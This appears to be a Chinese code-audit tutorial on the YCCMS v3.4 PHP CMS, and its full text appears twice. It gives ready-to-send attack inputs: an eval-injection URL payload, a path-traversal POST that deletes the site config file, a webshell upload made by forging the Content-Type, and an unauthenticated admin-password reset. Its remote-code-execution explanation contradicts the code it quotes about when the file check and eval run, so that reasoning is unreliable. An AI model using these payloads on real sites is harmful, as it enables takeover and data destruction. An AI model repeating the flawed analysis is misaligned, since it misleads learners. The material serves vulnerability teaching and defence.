yccms v3.4 【代码审计】
字数 4037 2025-10-26 18:21:34

YCCMS v3.4 代码审计教学文档

一、 程序概述

程序名称: YCCMS v3.4
架构模式: MVC(Model-View-Controller)模式
审计重点: 代码审计旨在发现程序源代码中存在的安全漏洞,如远程代码执行、文件删除、未授权访问等。

二、 核心文件结构与功能分析

理解文件结构是代码审计的第一步,有助于定位关键功能点。

文件路径 类型/角色 核心功能与安全关注点
/admin/index.php 入口文件 后台主入口。通过require引入/config/run.inc.php完成初始化。
/config/run.inc.php 初始化文件 开启Session、设置编码、引入配置和模板引擎、自动加载类、执行单入口模式:Factory::setAction()->run();这是RCE漏洞的触发起点。
/config/config.inc.php 配置文件 包含数据库连接信息、系统配置等。需检查是否存在敏感信息泄露。
/controller/Action.class.php 控制器基类 所有控制器的父类。其run()方法存在高危远程代码执行(RCE)漏洞
/controller/AdminAction.class.php 管理员控制器 管理后台首页、更改密码(使用不安全的sha1加密)、显示系统信息。
/controller/PicAction.class.php 图片控制器 管理上传的图片。存在未授权访问任意文件删除漏洞
/controller/CallAction.class.php 功能控制器 处理验证码、文件上传。存在任意文件上传漏洞
/controller/LoginAction.class.php 登录控制器 处理用户登录,使用sha1验证密码,包含验证码校验和“记住密码”功能。
/public/class/Factory.class.php 工厂类 负责创建控制器对象。其setAction()方法是绕过安全检查并触发RCE的关键。

三、 关键漏洞深度剖析与复现

漏洞1:远程代码执行(RCE)

漏洞文件/controller/Action.class.php

漏洞代码

public function run() {
    $_m = isset($_GET['m']) ? $_GET['m'] : 'index'; // 获取URL中的'm'参数
    method_exists($this, $_m) ? eval('$this->'.$_m.'();') : $this->index();
    // 使用eval()动态执行方法,此处$_m完全可控,导致代码执行。
}

漏洞成因

  1. eval() 函数直接执行字符串形式的PHP代码。
  2. 参数 $_m 来自用户输入的 $_GET['m'],未经严格过滤。
  3. 攻击者可以构造恶意参数,注入任意PHP代码。

漏洞利用链分析
仅仅直接访问Action.class.php是无法利用的,需要找到一个能调用到它的run()方法的地方。利用链如下:

  1. 触发点/config/run.inc.php 中的一行代码 Factory::setAction()->run();
  2. 绕过检查: 查看 Factory.class.phpsetAction() 方法。
    static public function setAction(){
        $_a = self::getA(); // 从URL获取'a'参数,例如 ?a=admin
        // ... 进行一些控制器名的安全检查 ...
        if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
        eval('self::$_obj = new '.ucfirst($_a).'Action();'); // 动态实例化控制器
        return self::$_obj;
    }
    
  3. 构造POC: 目标是让 Factory::setAction() 实例化一个不存在的控制器,从而触发 Action 基类的 run() 方法,并让 $_m 参数执行我们的代码。
    • 思路: 利用 file_exists() 函数的特性,它允许路径中包含/../这样的目录遍历字符。
    • Payloadhttp://yccms-site.com/admin/?a=Factory();phpinfo();//../
    • 解释
      • a=Factory();phpinfo();//../ 传递给 setAction() 方法。
      • file_exists(.../controller/Factory();phpinfo();//../Action.class.php) 会进行路径解析,//../ 会使得路径回退到上级目录,最终可能检查一个不存在的文件,返回 false
      • 由于文件不存在,$_a 被赋值为 'Login',但关键的一步是,在检查之前,原始的 $_a 已经被拼接进了 eval 语句:eval('self::$_obj = new '.ucfirst($_a).'Action();');
      • 这行代码变成了:eval('self::$_obj = new Factory();phpinfo();//../Action();');
      • 这相当于执行了:new Factory(); phpinfo(); // ../Action();//是注释,后面代码无效)
      • 因此,phpinfo() 函数就被成功执行了。

漏洞2:任意文件删除

漏洞文件/controller/PicAction.class.php 中的 delall() 方法。

漏洞代码

public function delall(){
    if(isset($_POST['send'])){
        ...
        $_fileDir = ROOT_PATH.'/uploads/'; // 基础目录
        foreach($_POST['pid'] as $_value){ // 遍历用户提交的文件名数组
            $_filePath = $_fileDir . $_value; // 直接拼接路径
            if(!unlink($_filePath)){ // 删除文件
                ...
            }
        }
    }
}

漏洞成因

  1. 该功能没有验证用户登录状态,导致未授权访问。
  2. 在拼接文件路径时,直接使用用户输入的 $_value,未做任何过滤。
  3. 攻击者可以通过路径遍历(../)跳转到任意目录,删除任意文件。

复现步骤

  1. 访问图片管理页面:http://yccms-site.com/admin/?a=pic (即使未登录也可能访问)。
  2. 选择一张图片进行删除,并抓取HTTP请求包。
  3. 修改POST数据,进行路径遍历攻击。
    • 原始数据pid[0]=1.png&chkall=on&send=删除选中图片
    • 恶意POCpid[0]=../../../config/config.inc.php&chkall=on&send=删除选中图片
    • URL编码后pid%5B0%5D=../../../config/config.inc.php&chkall=on&send=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E5%9B%BE%E7%89%87
  4. 发送请求,即可删除根目录下的 config.inc.php 文件(可能包含数据库密码)。

漏洞3:任意文件上传

漏洞文件/controller/CallAction.class.php 中的 upLoad()xhUp() 方法。

漏洞成因
这两个上传功能仅通过检查 $_FILES['file']['type'](即客户端传来的Content-Type)来判断文件类型,而不是检查文件真实内容(如文件头Magic Number)。攻击者可以轻易伪造Content-Type来上传PHP等恶意文件。

复现步骤

  1. 准备一个名为 shell.php 的Webshell。
  2. 使用Burp Suite等工具拦截上传请求。
  3. 将请求中的 Content-Type 修改为 image/jpegimage/png
  4. 放行请求,即可成功上传PHP文件,从而获取服务器控制权。

漏洞4:未授权更改管理员密码

漏洞文件/controller/AdminAction.class.php 中的 update() 方法。

漏洞成因
该功能用于修改管理员密码,但代码中缺乏对当前用户会话(Session)的有效验证。虽然页面可能通过检查 $_SESSION['admin'] 来显示,但处理表单提交的 update() 方法本身没有再次验证,导致攻击者可以直接提交POST请求修改密码。

复现步骤

  1. 构造一个POST请求,直接发送到 http://yccms-site.com/admin/?a=admin&m=update
  2. POST数据包含新的用户名和密码:username=hacker&password=newpassword&notpassword=newpassword&send=submit
  3. 请求成功后,数据库中ID为1的管理员账号密码即被修改,攻击者可以使用新密码登录后台。

四、 知识点总结

  1. PHP安全函数

    • eval()极度危险,应避免使用。如果必须使用,必须对输入进行严格的白名单过滤。
    • unlink(): 删除文件时,必须确保文件路径是受控的,防止路径遍历。
    • file_exists(): 可用于安全检查,但要注意其路径解析逻辑可能被绕过。
  2. 加密与安全

    • SHA1 已被证明是不安全的哈希算法,对于密码存储,应使用 password_hash() 函数。
  3. 输入验证

    • 永远不要信任用户输入。对所有来自客户端(GET, POST, COOKIE)的数据都必须进行验证和过滤。
    • 文件上传应检查文件扩展名和文件内容头,并将文件存储在Web目录之外,或通过脚本间接访问。
  4. 权限控制

    • 所有后台功能必须在操作前验证用户登录状态和权限(isset($_SESSION['admin'])),最好在基类构造函数中统一处理。
  5. MVC架构审计要点

    • 控制器(Controller): 重点关注用户输入的处理、权限验证、逻辑流程。
    • 模型(Model): 重点关注SQL语句的拼接,防止SQL注入。
    • 视图(View): 重点关注输出是否经过转义,防止XSS。

通过本次对YCCMS的审计,我们可以清晰地看到,即使是简单的MVC框架,如果开发者在安全意识上存在疏忽,也会导致严重的安全问题。代码审计的核心思路就是 “追踪用户输入”“验证安全边界”


YCCMS v3.4 代码审计教学文档 一、 程序概述 程序名称 : YCCMS v3.4 架构模式 : MVC(Model-View-Controller)模式 审计重点 : 代码审计旨在发现程序源代码中存在的安全漏洞,如远程代码执行、文件删除、未授权访问等。 二、 核心文件结构与功能分析 理解文件结构是代码审计的第一步,有助于定位关键功能点。 | 文件路径 | 类型/角色 | 核心功能与安全关注点 | | :--- | :--- | :--- | | /admin/index.php | 入口文件 | 后台主入口。通过 require 引入 /config/run.inc.php 完成初始化。 | | /config/run.inc.php | 初始化文件 | 开启Session、设置编码、引入配置和模板引擎、自动加载类、执行单入口模式: Factory::setAction()->run(); 。 这是RCE漏洞的触发起点。 | | /config/config.inc.php | 配置文件 | 包含数据库连接信息、系统配置等。需检查是否存在敏感信息泄露。 | | /controller/Action.class.php | 控制器基类 | 所有控制器的父类。其 run() 方法存在 高危远程代码执行(RCE)漏洞 。 | | /controller/AdminAction.class.php | 管理员控制器 | 管理后台首页、更改密码(使用不安全的sha1加密)、显示系统信息。 | | /controller/PicAction.class.php | 图片控制器 | 管理上传的图片。存在 未授权访问 和 任意文件删除漏洞 。 | | /controller/CallAction.class.php | 功能控制器 | 处理验证码、文件上传。存在 任意文件上传漏洞 。 | | /controller/LoginAction.class.php | 登录控制器 | 处理用户登录,使用sha1验证密码,包含验证码校验和“记住密码”功能。 | | /public/class/Factory.class.php | 工厂类 | 负责创建控制器对象。其 setAction() 方法是绕过安全检查并触发RCE的关键。 | 三、 关键漏洞深度剖析与复现 漏洞1:远程代码执行(RCE) 漏洞文件 : /controller/Action.class.php 漏洞代码 : 漏洞成因 : eval() 函数直接执行字符串形式的PHP代码。 参数 $_m 来自用户输入的 $_GET['m'] ,未经严格过滤。 攻击者可以构造恶意参数,注入任意PHP代码。 漏洞利用链分析 : 仅仅直接访问 Action.class.php 是无法利用的,需要找到一个能调用到它的 run() 方法的地方。利用链如下: 触发点 : /config/run.inc.php 中的一行代码 Factory::setAction()->run(); 。 绕过检查 : 查看 Factory.class.php 的 setAction() 方法。 构造POC : 目标是让 Factory::setAction() 实例化一个不存在的控制器,从而触发 Action 基类的 run() 方法,并让 $_m 参数执行我们的代码。 思路 : 利用 file_exists() 函数的特性,它允许路径中包含 /../ 这样的目录遍历字符。 Payload : http://yccms-site.com/admin/?a=Factory();phpinfo();//../ 解释 : a=Factory();phpinfo();//../ 传递给 setAction() 方法。 file_exists(.../controller/Factory();phpinfo();//../Action.class.php) 会进行路径解析, //../ 会使得路径回退到上级目录,最终可能检查一个不存在的文件,返回 false 。 由于文件不存在, $_a 被赋值为 'Login' ,但 关键的一步 是,在检查之前,原始的 $_a 已经被拼接进了 eval 语句: eval('self::$_obj = new '.ucfirst($_a).'Action();'); 这行代码变成了: eval('self::$_obj = new Factory();phpinfo();//../Action();'); 这相当于执行了: new Factory(); phpinfo(); // ../Action(); ( // 是注释,后面代码无效) 因此, phpinfo() 函数就被成功执行了。 漏洞2:任意文件删除 漏洞文件 : /controller/PicAction.class.php 中的 delall() 方法。 漏洞代码 : 漏洞成因 : 该功能 没有验证用户登录状态 ,导致未授权访问。 在拼接文件路径时,直接使用用户输入的 $_value ,未做任何过滤。 攻击者可以通过路径遍历( ../ )跳转到任意目录,删除任意文件。 复现步骤 : 访问图片管理页面: http://yccms-site.com/admin/?a=pic (即使未登录也可能访问)。 选择一张图片进行删除,并抓取HTTP请求包。 修改POST数据,进行路径遍历攻击。 原始数据 : pid[0]=1.png&chkall=on&send=删除选中图片 恶意POC : pid[0]=../../../config/config.inc.php&chkall=on&send=删除选中图片 URL编码后 : pid%5B0%5D=../../../config/config.inc.php&chkall=on&send=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E5%9B%BE%E7%89%87 发送请求,即可删除根目录下的 config.inc.php 文件(可能包含数据库密码)。 漏洞3:任意文件上传 漏洞文件 : /controller/CallAction.class.php 中的 upLoad() 和 xhUp() 方法。 漏洞成因 : 这两个上传功能仅通过检查 $_FILES['file']['type'] (即客户端传来的Content-Type)来判断文件类型,而不是检查文件真实内容(如文件头Magic Number)。攻击者可以轻易伪造Content-Type来上传PHP等恶意文件。 复现步骤 : 准备一个名为 shell.php 的Webshell。 使用Burp Suite等工具拦截上传请求。 将请求中的 Content-Type 修改为 image/jpeg 或 image/png 。 放行请求,即可成功上传PHP文件,从而获取服务器控制权。 漏洞4:未授权更改管理员密码 漏洞文件 : /controller/AdminAction.class.php 中的 update() 方法。 漏洞成因 : 该功能用于修改管理员密码,但代码中 缺乏对当前用户会话(Session)的有效验证 。虽然页面可能通过检查 $_SESSION['admin'] 来显示,但处理表单提交的 update() 方法本身没有再次验证,导致攻击者可以直接提交POST请求修改密码。 复现步骤 : 构造一个POST请求,直接发送到 http://yccms-site.com/admin/?a=admin&m=update 。 POST数据包含新的用户名和密码: username=hacker&password=newpassword&notpassword=newpassword&send=submit 。 请求成功后,数据库中ID为1的管理员账号密码即被修改,攻击者可以使用新密码登录后台。 四、 知识点总结 PHP安全函数 : eval() : 极度危险 ,应避免使用。如果必须使用,必须对输入进行严格的白名单过滤。 unlink() : 删除文件时,必须确保文件路径是受控的,防止路径遍历。 file_exists() : 可用于安全检查,但要注意其路径解析逻辑可能被绕过。 加密与安全 : SHA1 已被证明是不安全的哈希算法,对于密码存储,应使用 password_hash() 函数。 输入验证 : 永远不要信任用户输入 。对所有来自客户端(GET, POST, COOKIE)的数据都必须进行验证和过滤。 文件上传应检查文件扩展名和 文件内容头 ,并将文件存储在Web目录之外,或通过脚本间接访问。 权限控制 : 所有后台功能必须在操作前验证用户登录状态和权限( isset($_SESSION['admin']) ),最好在基类构造函数中统一处理。 MVC架构审计要点 : 控制器(Controller) : 重点关注用户输入的处理、权限验证、逻辑流程。 模型(Model) : 重点关注SQL语句的拼接,防止SQL注入。 视图(View) : 重点关注输出是否经过转义,防止XSS。 通过本次对YCCMS的审计,我们可以清晰地看到,即使是简单的MVC框架,如果开发者在安全意识上存在疏忽,也会导致严重的安全问题。代码审计的核心思路就是 “追踪用户输入” 和 “验证安全边界” 。